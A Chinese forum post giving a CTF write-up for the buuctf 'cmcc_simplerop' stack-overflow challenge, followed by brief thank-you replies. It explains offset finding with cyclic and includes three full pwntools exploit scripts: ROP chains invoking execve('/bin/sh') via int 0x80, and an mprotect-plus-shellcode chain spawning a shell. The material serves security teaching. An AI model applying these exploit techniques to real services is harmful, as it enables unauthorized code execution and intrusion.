bnuzgn 发表于 2023-8-16 17:35

[栈溢出进阶小技巧] cmcc_simplerop一题多解

题目来源
buuctf——cmcc_simplerop
参考链接
https://blog.csdn.net/A951860555/article/details/115286266
https://www.cnblogs.com/bhxdn/p/12330142.html
题目信息
32位,ubuntu16
   
本身是静态链接程序
   
溢出点很明确,在main函数中,且程序本身没有system与execve函数可以利用。
   
ghidra给出的解析中buff的偏移为0x24,但是跟实际情况不一样,网友发的IDA中buff偏移为0x14,也不对,说明静态。
   
解题步骤
有三种方法:

[*]参考inndy_rop使用ropchain,但是需要注意的是这种模板生成的payload很长,需要自行修剪。
[*]自行构建ropchain,相比与方法一更有挑战性一点,详见关键步骤2.
[*]上面介绍到的两种方法都是实现execve系统调用来获取到shell的,那么最简单的实现execve系统调用的方式就是利用shellcode。不过该样本开启了NX保护,所以无法直接使用shellcode,那么就需要利用mprotect函数开辟出一个可写可执行的内存区域。

方法三结合了方法二的构建rop chain的技巧,利用mprotect函数。
   mprotect函数原型如下:int mprotect(const void *start, size_t len, int prot);



[*]第一个是开辟的地址起始位置,需要和内存页对齐,也就是能被0x1000整除;
[*]第二参数也需要是内存页的整数倍;
[*]第三个是开辟的内存属性,7代表可读可写可执行。

关键步骤
1、获取真实的栈偏移
首先使用cyclic生成每四个字母都很独特的序列。
   
在调试中在溢出点处输入这个序列,会将ret_addr覆盖成该序列中的某4个连续字母,且无法访问所代表的内存,因此报错。
   
将这四个字符放回cyclic中查询,可以得到首字母的偏移,即可获得程序运行时真实的偏移量为32。
   
2、方法二构建巧妙的ROP Chain
方法二中ropchain需要完成以下的任务:

[*]使用read函数将"/bin/sh\x00"读入bss段中。
[*]调用int 80系统调用,将eax设置为11,并将execve的参数保存在寄存器中。

其中调用read函数的时候需要将read的参数从栈中弹出,这样才能继续执行后续gadget。read函数有三个参数,因此直接复用后面要使用的pop_edx_ecx_ebx_ret达到我们的目的。
payload = 'a'*0x20 + p32(read_addr) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(binsh_addr) + p32(0x8)
此时我们可以执行第二步操作
payload += p32(pop_eax) + p32(0xb) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(binsh_addr) + p32(int_addr)sl(payload)sd('/bin/sh\x00')
可能需要解释一下为什么最后将sd('/bin/sh\x00')放在payload之后输入是有效的。'/bin/sh\x00'的保存位置在我们设置的bss段中,即binsh_addr的地址,程序在将payload输入之后又向缓冲区中输入了'/bin/sh\x00'。前者保存在栈空间中(因为是sendline),后者保存在服务器的缓冲区中等待read函数的执行。
wp1
修改了最后的部分,将pop rax;ret 的gadget替换原有的一点点rax增加。
# -*- coding: utf-8 -*-
from pwn import*
from struct import pack
context.log_level='debug'
context.arch='i386'
context.os = "linux"

pc = "./simplerop"

if __name__ == '__main__':
    local = sys.argv
    if local == '1':
      r= process(pc)
      elf = ELF(pc)
      libc = elf.libc
    else:
      r=remote("node4.buuoj.cn",28961)
      elf = ELF(pc)
      libc = elf.libc

sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))

p = b'a'*0x20

p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080bae06) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0809a15d) # mov dword ptr , eax ; ret
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080bae06) # pop eax ; ret
p += b'//sh'
p += pack(b'<I', 0x0809a15d) # mov dword ptr , eax ; ret
p += pack(b'<I', 0x0806e850) # pop_edx_ecx_ebx ; ret
p += p32(0)+p32(0)+p32(0x080ea060)
p += pack(b'<I', 0x080bae06) # pop eax ; ret
p += p32(0xb)
p += pack(b'<I', 0x080493e1) # int 0x80


sla("Your input :",p)
ti()
wp2
本题没有开启pie,bss的地址就是绝对地址,这里从Ghidra的逆向中随随便便找了一个空的bss地址。# -*- coding: utf-8 -*-
from pwn import*
from struct import pack
context.log_level='debug'
context.arch='i386'
context.os = "linux"

pc = "./simplerop"

if __name__ == '__main__':
    local = sys.argv
    if local == '1':
      r= process(pc)
      elf = ELF(pc)
      libc = elf.libc
    else:
      r=remote("node4.buuoj.cn",28961)
      elf = ELF(pc)
      libc = elf.libc

sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))

int_80_addr = 0x080493e1
pop_eax = 0x080bae06
read_addr= 0x0806CD50
binsh_addr = 0x080eb7c3
pop_edx_ecx_ebx_ret = 0x0806e850

payload = b'a'*0x20
payload += p32(read_addr) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(binsh_addr) + p32(8)
payload += p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(binsh_addr) + p32(pop_eax) + p32(11) + p32(int_80_addr)

sla("Your input :",payload)
sd('/bin/sh\x00')
ti()wp3
我直接用的bss段所在的那一页中的一部分0x080eb000
   
# -*- coding: utf-8 -*-
from pwn import*
from struct import pack
context.log_level='debug'
context.arch='i386'
context.os = "linux"

pc = "./simplerop"

if __name__ == '__main__':
    local = sys.argv
    if local == '1':
      r= process(pc)
      elf = ELF(pc)
      libc = elf.libc
    else:
      r=remote("node4.buuoj.cn",28961)
      elf = ELF(pc)
      libc = elf.libc

sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))

shell = asm(shellcraft.sh())
mprotect_addr = elf.sym['mprotect']
read_addr= 0x0806CD50
pop_edx_ecx_ebx_ret = 0x0806e850
code_addr = 0x080eb000

payload = b'a'*0x20
payload += p32(mprotect_addr) + p32(pop_edx_ecx_ebx_ret) + p32(code_addr) + p32(0x1000) + p32(7)
payload += p32(read_addr) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(code_addr) + p32(len(shell)) + p32(code_addr)

sla("Your input :",payload)
sd(shell)
ti()

amwquhwqas128 发表于 2023-8-16 22:56

学习了思路,感谢

zzzzzyihang 发表于 2023-8-17 09:23

虽然有点看不懂,但是出栈和入栈 还是会一点的

Spacecraft 发表于 2023-8-17 10:55

思路不错

wault 发表于 2023-8-17 13:30

支持一下

taoxwl666 发表于 2023-8-17 17:22

这个思路很好,感谢

binarystudy123 发表于 2023-8-17 19:57

学到了,希望以后能在题目中遇到类似的

rbj520 发表于 2023-8-18 08:21

感谢分享,学习了{:1_921:}

huangyankun 发表于 2023-8-18 12:13


感谢分享,学习了
页: [1]
查看完整版本: [栈溢出进阶小技巧] cmcc_simplerop一题多解